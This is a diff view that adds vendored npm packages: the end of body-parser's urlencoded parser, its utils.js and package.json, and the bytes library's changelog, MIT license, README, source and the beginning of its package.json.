|
76 |
+
debug('skip parsing')
|
77 |
+
next()
|
78 |
+
return
|
79 |
+
}
|
80 |
+
|
81 |
+
// assert charset
|
82 |
+
var charset = getCharset(req) || defaultCharset
|
83 |
+
if (charset !== 'utf-8' && charset !== 'iso-8859-1') {
|
84 |
+
debug('invalid charset')
|
85 |
+
next(createError(415, 'unsupported charset "' + charset.toUpperCase() + '"', {
|
86 |
+
charset: charset,
|
87 |
+
type: 'charset.unsupported'
|
88 |
+
}))
|
89 |
+
return
|
90 |
+
}
|
91 |
+
|
92 |
+
// read
|
93 |
+
read(req, res, next, parse, debug, {
|
94 |
+
encoding: charset,
|
95 |
+
inflate,
|
96 |
+
limit,
|
97 |
+
verify
|
98 |
+
})
|
99 |
+
}
|
100 |
+
}
|
101 |
+
|
102 |
+
/**
|
103 |
+
* Get the extended query parser.
|
104 |
+
*
|
105 |
+
* @param {object} options
|
106 |
+
*/
|
107 |
+
|
108 |
+
function createQueryParser (options) {
|
109 |
+
var extended = Boolean(options?.extended)
|
110 |
+
var parameterLimit = options?.parameterLimit !== undefined
|
111 |
+
? options?.parameterLimit
|
112 |
+
: 1000
|
113 |
+
var charsetSentinel = options?.charsetSentinel
|
114 |
+
var interpretNumericEntities = options?.interpretNumericEntities
|
115 |
+
var depth = extended ? (options?.depth !== undefined ? options?.depth : 32) : 0
|
116 |
+
|
117 |
+
if (isNaN(parameterLimit) || parameterLimit < 1) {
|
118 |
+
throw new TypeError('option parameterLimit must be a positive number')
|
119 |
+
}
|
120 |
+
|
121 |
+
if (isNaN(depth) || depth < 0) {
|
122 |
+
throw new TypeError('option depth must be a zero or a positive number')
|
123 |
+
}
|
124 |
+
|
125 |
+
if (isFinite(parameterLimit)) {
|
126 |
+
parameterLimit = parameterLimit | 0
|
127 |
+
}
|
128 |
+
|
129 |
+
return function queryparse (body, encoding) {
|
130 |
+
var paramCount = parameterCount(body, parameterLimit)
|
131 |
+
|
132 |
+
if (paramCount === undefined) {
|
133 |
+
debug('too many parameters')
|
134 |
+
throw createError(413, 'too many parameters', {
|
135 |
+
type: 'parameters.too.many'
|
136 |
+
})
|
137 |
+
}
|
138 |
+
|
139 |
+
var arrayLimit = extended ? Math.max(100, paramCount) : 0
|
140 |
+
|
141 |
+
debug('parse ' + (extended ? 'extended ' : '') + 'urlencoding')
|
142 |
+
try {
|
143 |
+
return qs.parse(body, {
|
144 |
+
allowPrototypes: true,
|
145 |
+
arrayLimit: arrayLimit,
|
146 |
+
depth: depth,
|
147 |
+
charsetSentinel: charsetSentinel,
|
148 |
+
interpretNumericEntities: interpretNumericEntities,
|
149 |
+
charset: encoding,
|
150 |
+
parameterLimit: parameterLimit,
|
151 |
+
strictDepth: true
|
152 |
+
})
|
153 |
+
} catch (err) {
|
154 |
+
if (err instanceof RangeError) {
|
155 |
+
throw createError(400, 'The input exceeded the depth', {
|
156 |
+
type: 'querystring.parse.rangeError'
|
157 |
+
})
|
158 |
+
} else {
|
159 |
+
throw err
|
160 |
+
}
|
161 |
+
}
|
162 |
+
}
|
163 |
+
}
|
164 |
+
|
165 |
+
/**
|
166 |
+
* Count the number of parameters, stopping once limit reached
|
167 |
+
*
|
168 |
+
* @param {string} body
|
169 |
+
* @param {number} limit
|
170 |
+
* @api private
|
171 |
+
*/
|
172 |
+
|
173 |
+
function parameterCount (body, limit) {
|
174 |
+
var len = body.split('&').length
|
175 |
+
|
176 |
+
return len > limit ? undefined : len - 1
|
177 |
+
}
|
node_modules/body-parser/lib/utils.js
ADDED
@@ -0,0 +1,83 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
'use strict'
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Module dependencies.
|
5 |
+
*/
|
6 |
+
|
7 |
+
var bytes = require('bytes')
|
8 |
+
var contentType = require('content-type')
|
9 |
+
var typeis = require('type-is')
|
10 |
+
|
11 |
+
/**
|
12 |
+
* Module exports.
|
13 |
+
*/
|
14 |
+
|
15 |
+
module.exports = {
|
16 |
+
getCharset,
|
17 |
+
normalizeOptions
|
18 |
+
}
|
19 |
+
|
20 |
+
/**
|
21 |
+
* Get the charset of a request.
|
22 |
+
*
|
23 |
+
* @param {object} req
|
24 |
+
* @api private
|
25 |
+
*/
|
26 |
+
|
27 |
+
function getCharset (req) {
|
28 |
+
try {
|
29 |
+
return (contentType.parse(req).parameters.charset || '').toLowerCase()
|
30 |
+
} catch {
|
31 |
+
return undefined
|
32 |
+
}
|
33 |
+
}
|
34 |
+
|
35 |
+
/**
|
36 |
+
* Get the simple type checker.
|
37 |
+
*
|
38 |
+
* @param {string | string[]} type
|
39 |
+
* @return {function}
|
40 |
+
*/
|
41 |
+
|
42 |
+
function typeChecker (type) {
|
43 |
+
return function checkType (req) {
|
44 |
+
return Boolean(typeis(req, type))
|
45 |
+
}
|
46 |
+
}
|
47 |
+
|
48 |
+
/**
|
49 |
+
* Normalizes the common options for all parsers.
|
50 |
+
*
|
51 |
+
* @param {object} options options to normalize
|
52 |
+
* @param {string | string[] | function} defaultType default content type(s) or a function to determine it
|
53 |
+
* @returns {object}
|
54 |
+
*/
|
55 |
+
function normalizeOptions (options, defaultType) {
|
56 |
+
if (!defaultType) {
|
57 |
+
// Parsers must define a default content type
|
58 |
+
throw new TypeError('defaultType must be provided')
|
59 |
+
}
|
60 |
+
|
61 |
+
var inflate = options?.inflate !== false
|
62 |
+
var limit = typeof options?.limit !== 'number'
|
63 |
+
? bytes.parse(options?.limit || '100kb')
|
64 |
+
: options?.limit
|
65 |
+
var type = options?.type || defaultType
|
66 |
+
var verify = options?.verify || false
|
67 |
+
|
68 |
+
if (verify !== false && typeof verify !== 'function') {
|
69 |
+
throw new TypeError('option verify must be function')
|
70 |
+
}
|
71 |
+
|
72 |
+
// create the appropriate type checking function
|
73 |
+
var shouldParse = typeof type !== 'function'
|
74 |
+
? typeChecker(type)
|
75 |
+
: type
|
76 |
+
|
77 |
+
return {
|
78 |
+
inflate,
|
79 |
+
limit,
|
80 |
+
verify,
|
81 |
+
shouldParse
|
82 |
+
}
|
83 |
+
}
|
node_modules/body-parser/package.json
ADDED
@@ -0,0 +1,49 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"name": "body-parser",
|
3 |
+
"description": "Node.js body parsing middleware",
|
4 |
+
"version": "2.2.0",
|
5 |
+
"contributors": [
|
6 |
+
"Douglas Christopher Wilson <[email protected]>",
|
7 |
+
"Jonathan Ong <[email protected]> (http://jongleberry.com)"
|
8 |
+
],
|
9 |
+
"license": "MIT",
|
10 |
+
"repository": "expressjs/body-parser",
|
11 |
+
"dependencies": {
|
12 |
+
"bytes": "^3.1.2",
|
13 |
+
"content-type": "^1.0.5",
|
14 |
+
"debug": "^4.4.0",
|
15 |
+
"http-errors": "^2.0.0",
|
16 |
+
"iconv-lite": "^0.6.3",
|
17 |
+
"on-finished": "^2.4.1",
|
18 |
+
"qs": "^6.14.0",
|
19 |
+
"raw-body": "^3.0.0",
|
20 |
+
"type-is": "^2.0.0"
|
21 |
+
},
|
22 |
+
"devDependencies": {
|
23 |
+
"eslint": "8.34.0",
|
24 |
+
"eslint-config-standard": "14.1.1",
|
25 |
+
"eslint-plugin-import": "2.27.5",
|
26 |
+
"eslint-plugin-markdown": "3.0.0",
|
27 |
+
"eslint-plugin-node": "11.1.0",
|
28 |
+
"eslint-plugin-promise": "6.1.1",
|
29 |
+
"eslint-plugin-standard": "4.1.0",
|
30 |
+
"mocha": "^11.1.0",
|
31 |
+
"nyc": "^17.1.0",
|
32 |
+
"supertest": "^7.0.0"
|
33 |
+
},
|
34 |
+
"files": [
|
35 |
+
"lib/",
|
36 |
+
"LICENSE",
|
37 |
+
"HISTORY.md",
|
38 |
+
"index.js"
|
39 |
+
],
|
40 |
+
"engines": {
|
41 |
+
"node": ">=18"
|
42 |
+
},
|
43 |
+
"scripts": {
|
44 |
+
"lint": "eslint .",
|
45 |
+
"test": "mocha --reporter spec --check-leaks test/",
|
46 |
+
"test-ci": "nyc --reporter=lcovonly --reporter=text npm test",
|
47 |
+
"test-cov": "nyc --reporter=html --reporter=text npm test"
|
48 |
+
}
|
49 |
+
}
|
node_modules/bytes/History.md
ADDED
@@ -0,0 +1,97 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
3.1.2 / 2022-01-27
|
2 |
+
==================
|
3 |
+
|
4 |
+
* Fix return value for un-parsable strings
|
5 |
+
|
6 |
+
3.1.1 / 2021-11-15
|
7 |
+
==================
|
8 |
+
|
9 |
+
* Fix "thousandsSeparator" incorrecting formatting fractional part
|
10 |
+
|
11 |
+
3.1.0 / 2019-01-22
|
12 |
+
==================
|
13 |
+
|
14 |
+
* Add petabyte (`pb`) support
|
15 |
+
|
16 |
+
3.0.0 / 2017-08-31
|
17 |
+
==================
|
18 |
+
|
19 |
+
* Change "kB" to "KB" in format output
|
20 |
+
* Remove support for Node.js 0.6
|
21 |
+
* Remove support for ComponentJS
|
22 |
+
|
23 |
+
2.5.0 / 2017-03-24
|
24 |
+
==================
|
25 |
+
|
26 |
+
* Add option "unit"
|
27 |
+
|
28 |
+
2.4.0 / 2016-06-01
|
29 |
+
==================
|
30 |
+
|
31 |
+
* Add option "unitSeparator"
|
32 |
+
|
33 |
+
2.3.0 / 2016-02-15
|
34 |
+
==================
|
35 |
+
|
36 |
+
* Drop partial bytes on all parsed units
|
37 |
+
* Fix non-finite numbers to `.format` to return `null`
|
38 |
+
* Fix parsing byte string that looks like hex
|
39 |
+
* perf: hoist regular expressions
|
40 |
+
|
41 |
+
2.2.0 / 2015-11-13
|
42 |
+
==================
|
43 |
+
|
44 |
+
* add option "decimalPlaces"
|
45 |
+
* add option "fixedDecimals"
|
46 |
+
|
47 |
+
2.1.0 / 2015-05-21
|
48 |
+
==================
|
49 |
+
|
50 |
+
* add `.format` export
|
51 |
+
* add `.parse` export
|
52 |
+
|
53 |
+
2.0.2 / 2015-05-20
|
54 |
+
==================
|
55 |
+
|
56 |
+
* remove map recreation
|
57 |
+
* remove unnecessary object construction
|
58 |
+
|
59 |
+
2.0.1 / 2015-05-07
|
60 |
+
==================
|
61 |
+
|
62 |
+
* fix browserify require
|
63 |
+
* remove node.extend dependency
|
64 |
+
|
65 |
+
2.0.0 / 2015-04-12
|
66 |
+
==================
|
67 |
+
|
68 |
+
* add option "case"
|
69 |
+
* add option "thousandsSeparator"
|
70 |
+
* return "null" on invalid parse input
|
71 |
+
* support proper round-trip: bytes(bytes(num)) === num
|
72 |
+
* units no longer case sensitive when parsing
|
73 |
+
|
74 |
+
1.0.0 / 2014-05-05
|
75 |
+
==================
|
76 |
+
|
77 |
+
* add negative support. fixes #6
|
78 |
+
|
79 |
+
0.3.0 / 2014-03-19
|
80 |
+
==================
|
81 |
+
|
82 |
+
* added terabyte support
|
83 |
+
|
84 |
+
0.2.1 / 2013-04-01
|
85 |
+
==================
|
86 |
+
|
87 |
+
* add .component
|
88 |
+
|
89 |
+
0.2.0 / 2012-10-28
|
90 |
+
==================
|
91 |
+
|
92 |
+
* bytes(200).should.eql('200b')
|
93 |
+
|
94 |
+
0.1.0 / 2012-07-04
|
95 |
+
==================
|
96 |
+
|
97 |
+
* add bytes to string conversion [yields]
|
node_modules/bytes/LICENSE
ADDED
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
(The MIT License)
|
2 |
+
|
3 |
+
Copyright (c) 2012-2014 TJ Holowaychuk <[email protected]>
|
4 |
+
Copyright (c) 2015 Jed Watson <[email protected]>
|
5 |
+
|
6 |
+
Permission is hereby granted, free of charge, to any person obtaining
|
7 |
+
a copy of this software and associated documentation files (the
|
8 |
+
'Software'), to deal in the Software without restriction, including
|
9 |
+
without limitation the rights to use, copy, modify, merge, publish,
|
10 |
+
distribute, sublicense, and/or sell copies of the Software, and to
|
11 |
+
permit persons to whom the Software is furnished to do so, subject to
|
12 |
+
the following conditions:
|
13 |
+
|
14 |
+
The above copyright notice and this permission notice shall be
|
15 |
+
included in all copies or substantial portions of the Software.
|
16 |
+
|
17 |
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
18 |
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
19 |
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
20 |
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
21 |
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
22 |
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
23 |
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
node_modules/bytes/Readme.md
ADDED
@@ -0,0 +1,152 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# Bytes utility
|
2 |
+
|
3 |
+
[![NPM Version][npm-image]][npm-url]
|
4 |
+
[![NPM Downloads][downloads-image]][downloads-url]
|
5 |
+
[![Build Status][ci-image]][ci-url]
|
6 |
+
[![Test Coverage][coveralls-image]][coveralls-url]
|
7 |
+
|
8 |
+
Utility to parse a string bytes (ex: `1TB`) to bytes (`1099511627776`) and vice-versa.
|
9 |
+
|
10 |
+
## Installation
|
11 |
+
|
12 |
+
This is a [Node.js](https://nodejs.org/en/) module available through the
|
13 |
+
[npm registry](https://www.npmjs.com/). Installation is done using the
|
14 |
+
[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):
|
15 |
+
|
16 |
+
```bash
|
17 |
+
$ npm install bytes
|
18 |
+
```
|
19 |
+
|
20 |
+
## Usage
|
21 |
+
|
22 |
+
```js
|
23 |
+
var bytes = require('bytes');
|
24 |
+
```
|
25 |
+
|
26 |
+
#### bytes(number|string value, [options]): number|string|null
|
27 |
+
|
28 |
+
Default export function. Delegates to either `bytes.format` or `bytes.parse` based on the type of `value`.
|
29 |
+
|
30 |
+
**Arguments**
|
31 |
+
|
32 |
+
| Name | Type | Description |
|
33 |
+
|---------|----------|--------------------|
|
34 |
+
| value | `number`|`string` | Number value to format or string value to parse |
|
35 |
+
| options | `Object` | Conversion options for `format` |
|
36 |
+
|
37 |
+
**Returns**
|
38 |
+
|
39 |
+
| Name | Type | Description |
|
40 |
+
|---------|------------------|-------------------------------------------------|
|
41 |
+
| results | `string`|`number`|`null` | Return null upon error. Numeric value in bytes, or string value otherwise. |
|
42 |
+
|
43 |
+
**Example**
|
44 |
+
|
45 |
+
```js
|
46 |
+
bytes(1024);
|
47 |
+
// output: '1KB'
|
48 |
+
|
49 |
+
bytes('1KB');
|
50 |
+
// output: 1024
|
51 |
+
```
|
52 |
+
|
53 |
+
#### bytes.format(number value, [options]): string|null
|
54 |
+
|
55 |
+
Format the given value in bytes into a string. If the value is negative, it is kept as such. If it is a float, it is
|
56 |
+
rounded.
|
57 |
+
|
58 |
+
**Arguments**
|
59 |
+
|
60 |
+
| Name | Type | Description |
|
61 |
+
|---------|----------|--------------------|
|
62 |
+
| value | `number` | Value in bytes |
|
63 |
+
| options | `Object` | Conversion options |
|
64 |
+
|
65 |
+
**Options**
|
66 |
+
|
67 |
+
| Property | Type | Description |
|
68 |
+
|-------------------|--------|-----------------------------------------------------------------------------------------|
|
69 |
+
| decimalPlaces | `number`|`null` | Maximum number of decimal places to include in output. Default value to `2`. |
|
70 |
+
| fixedDecimals | `boolean`|`null` | Whether to always display the maximum number of decimal places. Default value to `false` |
|
71 |
+
| thousandsSeparator | `string`|`null` | Example of values: `' '`, `','` and `'.'`... Default value to `''`. |
|
72 |
+
| unit | `string`|`null` | The unit in which the result will be returned (B/KB/MB/GB/TB). Default value to `''` (which means auto detect). |
|
73 |
+
| unitSeparator | `string`|`null` | Separator to use between number and unit. Default value to `''`. |
|
74 |
+
|
75 |
+
**Returns**
|
76 |
+
|
77 |
+
| Name | Type | Description |
|
78 |
+
|---------|------------------|-------------------------------------------------|
|
79 |
+
| results | `string`|`null` | Return null upon error. String value otherwise. |
|
80 |
+
|
81 |
+
**Example**
|
82 |
+
|
83 |
+
```js
|
84 |
+
bytes.format(1024);
|
85 |
+
// output: '1KB'
|
86 |
+
|
87 |
+
bytes.format(1000);
|
88 |
+
// output: '1000B'
|
89 |
+
|
90 |
+
bytes.format(1000, {thousandsSeparator: ' '});
|
91 |
+
// output: '1 000B'
|
92 |
+
|
93 |
+
bytes.format(1024 * 1.7, {decimalPlaces: 0});
|
94 |
+
// output: '2KB'
|
95 |
+
|
96 |
+
bytes.format(1024, {unitSeparator: ' '});
|
97 |
+
// output: '1 KB'
|
98 |
+
```
|
99 |
+
|
100 |
+
#### bytes.parse(string|number value): number|null
|
101 |
+
|
102 |
+
Parse the string value into an integer in bytes. If no unit is given, or `value`
|
103 |
+
is a number, it is assumed the value is in bytes.
|
104 |
+
|
105 |
+
Supported units and abbreviations are as follows and are case-insensitive:
|
106 |
+
|
107 |
+
* `b` for bytes
|
108 |
+
* `kb` for kilobytes
|
109 |
+
* `mb` for megabytes
|
110 |
+
* `gb` for gigabytes
|
111 |
+
* `tb` for terabytes
|
112 |
+
* `pb` for petabytes
|
113 |
+
|
114 |
+
The units are in powers of two, not ten. This means 1kb = 1024b according to this parser.
|
115 |
+
|
116 |
+
**Arguments**
|
117 |
+
|
118 |
+
| Name | Type | Description |
|
119 |
+
|---------------|--------|--------------------|
|
120 |
+
| value | `string`|`number` | String to parse, or number in bytes. |
|
121 |
+
|
122 |
+
**Returns**
|
123 |
+
|
124 |
+
| Name | Type | Description |
|
125 |
+
|---------|-------------|-------------------------|
|
126 |
+
| results | `number`|`null` | Return null upon error. Value in bytes otherwise. |
|
127 |
+
|
128 |
+
**Example**
|
129 |
+
|
130 |
+
```js
|
131 |
+
bytes.parse('1KB');
|
132 |
+
// output: 1024
|
133 |
+
|
134 |
+
bytes.parse('1024');
|
135 |
+
// output: 1024
|
136 |
+
|
137 |
+
bytes.parse(1024);
|
138 |
+
// output: 1024
|
139 |
+
```
|
140 |
+
|
141 |
+
## License
|
142 |
+
|
143 |
+
[MIT](LICENSE)
|
144 |
+
|
145 |
+
[ci-image]: https://badgen.net/github/checks/visionmedia/bytes.js/master?label=ci
|
146 |
+
[ci-url]: https://github.com/visionmedia/bytes.js/actions?query=workflow%3Aci
|
147 |
+
[coveralls-image]: https://badgen.net/coveralls/c/github/visionmedia/bytes.js/master
|
148 |
+
[coveralls-url]: https://coveralls.io/r/visionmedia/bytes.js?branch=master
|
149 |
+
[downloads-image]: https://badgen.net/npm/dm/bytes
|
150 |
+
[downloads-url]: https://npmjs.org/package/bytes
|
151 |
+
[npm-image]: https://badgen.net/npm/v/bytes
|
152 |
+
[npm-url]: https://npmjs.org/package/bytes
|
node_modules/bytes/index.js
ADDED
@@ -0,0 +1,170 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* bytes
|
3 |
+
* Copyright(c) 2012-2014 TJ Holowaychuk
|
4 |
+
* Copyright(c) 2015 Jed Watson
|
5 |
+
* MIT Licensed
|
6 |
+
*/
|
7 |
+
|
8 |
+
'use strict';
|
9 |
+
|
10 |
+
/**
|
11 |
+
* Module exports.
|
12 |
+
* @public
|
13 |
+
*/
|
14 |
+
|
15 |
+
module.exports = bytes;
|
16 |
+
module.exports.format = format;
|
17 |
+
module.exports.parse = parse;
|
18 |
+
|
19 |
+
/**
|
20 |
+
* Module variables.
|
21 |
+
* @private
|
22 |
+
*/
|
23 |
+
|
24 |
+
var formatThousandsRegExp = /\B(?=(\d{3})+(?!\d))/g;
|
25 |
+
|
26 |
+
var formatDecimalsRegExp = /(?:\.0*|(\.[^0]+)0+)$/;
|
27 |
+
|
28 |
+
var map = {
|
29 |
+
b: 1,
|
30 |
+
kb: 1 << 10,
|
31 |
+
mb: 1 << 20,
|
32 |
+
gb: 1 << 30,
|
33 |
+
tb: Math.pow(1024, 4),
|
34 |
+
pb: Math.pow(1024, 5),
|
35 |
+
};
|
36 |
+
|
37 |
+
var parseRegExp = /^((-|\+)?(\d+(?:\.\d+)?)) *(kb|mb|gb|tb|pb)$/i;
|
38 |
+
|
39 |
+
/**
|
40 |
+
* Convert the given value in bytes into a string or parse to string to an integer in bytes.
|
41 |
+
*
|
42 |
+
* @param {string|number} value
|
43 |
+
* @param {{
|
44 |
+
* case: [string],
|
45 |
+
* decimalPlaces: [number]
|
46 |
+
* fixedDecimals: [boolean]
|
47 |
+
* thousandsSeparator: [string]
|
48 |
+
* unitSeparator: [string]
|
49 |
+
* }} [options] bytes options.
|
50 |
+
*
|
51 |
+
* @returns {string|number|null}
|
52 |
+
*/
|
53 |
+
|
54 |
+
function bytes(value, options) {
|
55 |
+
if (typeof value === 'string') {
|
56 |
+
return parse(value);
|
57 |
+
}
|
58 |
+
|
59 |
+
if (typeof value === 'number') {
|
60 |
+
return format(value, options);
|
61 |
+
}
|
62 |
+
|
63 |
+
return null;
|
64 |
+
}
|
65 |
+
|
66 |
+
/**
|
67 |
+
* Format the given value in bytes into a string.
|
68 |
+
*
|
69 |
+
* If the value is negative, it is kept as such. If it is a float,
|
70 |
+
* it is rounded.
|
71 |
+
*
|
72 |
+
* @param {number} value
|
73 |
+
* @param {object} [options]
|
74 |
+
* @param {number} [options.decimalPlaces=2]
|
75 |
+
* @param {number} [options.fixedDecimals=false]
|
76 |
+
* @param {string} [options.thousandsSeparator=]
|
77 |
+
* @param {string} [options.unit=]
|
78 |
+
* @param {string} [options.unitSeparator=]
|
79 |
+
*
|
80 |
+
* @returns {string|null}
|
81 |
+
* @public
|
82 |
+
*/
|
83 |
+
|
84 |
+
function format(value, options) {
|
85 |
+
if (!Number.isFinite(value)) {
|
86 |
+
return null;
|
87 |
+
}
|
88 |
+
|
89 |
+
var mag = Math.abs(value);
|
90 |
+
var thousandsSeparator = (options && options.thousandsSeparator) || '';
|
91 |
+
var unitSeparator = (options && options.unitSeparator) || '';
|
92 |
+
var decimalPlaces = (options && options.decimalPlaces !== undefined) ? options.decimalPlaces : 2;
|
93 |
+
var fixedDecimals = Boolean(options && options.fixedDecimals);
|
94 |
+
var unit = (options && options.unit) || '';
|
95 |
+
|
96 |
+
if (!unit || !map[unit.toLowerCase()]) {
|
97 |
+
if (mag >= map.pb) {
|
98 |
+
unit = 'PB';
|
99 |
+
} else if (mag >= map.tb) {
|
100 |
+
unit = 'TB';
|
101 |
+
} else if (mag >= map.gb) {
|
102 |
+
unit = 'GB';
|
103 |
+
} else if (mag >= map.mb) {
|
104 |
+
unit = 'MB';
|
105 |
+
} else if (mag >= map.kb) {
|
106 |
+
unit = 'KB';
|
107 |
+
} else {
|
108 |
+
unit = 'B';
|
109 |
+
}
|
110 |
+
}
|
111 |
+
|
112 |
+
var val = value / map[unit.toLowerCase()];
|
113 |
+
var str = val.toFixed(decimalPlaces);
|
114 |
+
|
115 |
+
if (!fixedDecimals) {
|
116 |
+
str = str.replace(formatDecimalsRegExp, '$1');
|
117 |
+
}
|
118 |
+
|
119 |
+
if (thousandsSeparator) {
|
120 |
+
str = str.split('.').map(function (s, i) {
|
121 |
+
return i === 0
|
122 |
+
? s.replace(formatThousandsRegExp, thousandsSeparator)
|
123 |
+
: s
|
124 |
+
}).join('.');
|
125 |
+
}
|
126 |
+
|
127 |
+
return str + unitSeparator + unit;
|
128 |
+
}
|
129 |
+
|
130 |
+
/**
|
131 |
+
* Parse the string value into an integer in bytes.
|
132 |
+
*
|
133 |
+
* If no unit is given, it is assumed the value is in bytes.
|
134 |
+
*
|
135 |
+
* @param {number|string} val
|
136 |
+
*
|
137 |
+
* @returns {number|null}
|
138 |
+
* @public
|
139 |
+
*/
|
140 |
+
|
141 |
+
function parse(val) {
|
142 |
+
if (typeof val === 'number' && !isNaN(val)) {
|
143 |
+
return val;
|
144 |
+
}
|
145 |
+
|
146 |
+
if (typeof val !== 'string') {
|
147 |
+
return null;
|
148 |
+
}
|
149 |
+
|
150 |
+
// Test if the string passed is valid
|
151 |
+
var results = parseRegExp.exec(val);
|
152 |
+
var floatValue;
|
153 |
+
var unit = 'b';
|
154 |
+
|
155 |
+
if (!results) {
|
156 |
+
// Nothing could be extracted from the given string
|
157 |
+
floatValue = parseInt(val, 10);
|
158 |
+
unit = 'b'
|
159 |
+
} else {
|
160 |
+
// Retrieve the value and the unit
|
161 |
+
floatValue = parseFloat(results[1]);
|
162 |
+
unit = results[4].toLowerCase();
|
163 |
+
}
|
164 |
+
|
165 |
+
if (isNaN(floatValue)) {
|
166 |
+
return null;
|
167 |
+
}
|
168 |
+
|
169 |
+
return Math.floor(map[unit] * floatValue);
|
170 |
+
}
|
node_modules/bytes/package.json
ADDED
@@ -0,0 +1,42 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"name": "bytes",
|
3 |
+
"description": "Utility to parse a string bytes to bytes and vice-versa",
|
4 |
+
"version": "3.1.2",
|
5 |
+
"author": "TJ Holowaychuk <[email protected]> (http://tjholowaychuk.com)",
|
6 |
+
"contributors": [
